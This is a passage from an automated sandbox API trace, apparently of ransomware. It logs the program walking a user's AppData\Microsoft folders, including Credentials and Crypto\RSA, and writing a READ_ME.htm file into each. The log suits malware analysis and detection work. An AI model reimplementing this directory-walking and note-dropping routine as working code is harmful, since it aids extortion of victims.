"c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\bibliography\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.245] GetFileType (hFile=0x1d0) returned 0x1 [0149.245] SetErrorMode (uMode=0x0) returned 0x1 [0149.245] GetFileType (hFile=0x1d0) returned 0x1 [0149.246] WriteFile (in: hFile=0x1d0, lpBuffer=0x28a81d0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28a81d0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.247] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x38 [0149.247] SetErrorMode (uMode=0x1) returned 0x0 [0149.248] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.248] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.248] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.248] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.248] SetErrorMode (uMode=0x0) returned 0x1 [0149.249] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x38 [0149.249] SetErrorMode (uMode=0x1) returned 0x0 [0149.249] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.249] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.249] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.249] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.250] SetErrorMode (uMode=0x0) returned 0x1 [0149.250] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\READ_ME.htm", lpFilePart=0x0) returned 0x44 [0149.250] SetErrorMode (uMode=0x1) returned 0x0 [0149.250] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Credentials\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\credentials\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.251] GetFileType (hFile=0x1d0) returned 0x1 [0149.251] SetErrorMode (uMode=0x0) returned 0x1 [0149.251] GetFileType (hFile=0x1d0) returned 0x1 [0149.251] WriteFile (in: hFile=0x1d0, lpBuffer=0x28adf78*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28adf78*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.253] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x33 [0149.253] SetErrorMode (uMode=0x1) returned 0x0 [0149.253] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.254] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.254] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0149.254] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0149.254] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.255] SetErrorMode (uMode=0x0) returned 0x1 [0149.255] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x33 [0149.255] SetErrorMode (uMode=0x1) returned 0x0 [0149.255] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0149.255] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0149.256] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.256] SetErrorMode (uMode=0x0) returned 0x1 [0149.256] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x37 [0149.256] SetErrorMode (uMode=0x1) returned 0x0 [0149.256] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.257] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.257] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.257] SetErrorMode (uMode=0x0) returned 0x1 [0149.257] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x37 [0149.257] SetErrorMode (uMode=0x1) returned 0x0 [0149.258] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.258] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.258] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796260f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796260f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.258] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.258] SetErrorMode (uMode=0x0) returned 0x1 [0149.258] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\READ_ME.htm", lpFilePart=0x0) returned 0x43 [0149.259] SetErrorMode (uMode=0x1) returned 0x0 [0149.259] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\rsa\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.259] GetFileType (hFile=0x1d0) returned 0x1 [0149.259] SetErrorMode (uMode=0x0) returned 0x1 [0149.259] GetFileType (hFile=0x1d0) returned 0x1 [0149.259] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b5840*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28b5840*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.261] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\READ_ME.htm", lpFilePart=0x0) returned 0x3f [0149.261] SetErrorMode (uMode=0x1) returned 0x0 [0149.261] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Crypto\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\crypto\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.262] GetFileType (hFile=0x1d0) returned 0x1 [0149.262] SetErrorMode (uMode=0x0) returned 0x1 [0149.262] GetFileType (hFile=0x1d0) returned 0x1 [0149.262] WriteFile (in: hFile=0x1d0, lpBuffer=0x28b9e00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28b9e00*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.263] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x45 [0149.264] SetErrorMode (uMode=0x1) returned 0x0 [0149.264] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.265] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0149.266] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0149.266] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.266] SetErrorMode (uMode=0x0) returned 0x1 [0149.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks", lpFilePart=0x0) returned 0x45 [0149.266] SetErrorMode (uMode=0x1) returned 0x0 [0149.266] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.267] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.267] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0149.267] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0149.267] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.267] SetErrorMode (uMode=0x0) returned 0x1 [0149.267] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033", lpFilePart=0x0) returned 0x4a [0149.267] SetErrorMode (uMode=0x1) returned 0x0 [0149.268] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\microsoft\\document building blocks\\1033\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x28986bd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x28986bd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.268] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28986bd0, 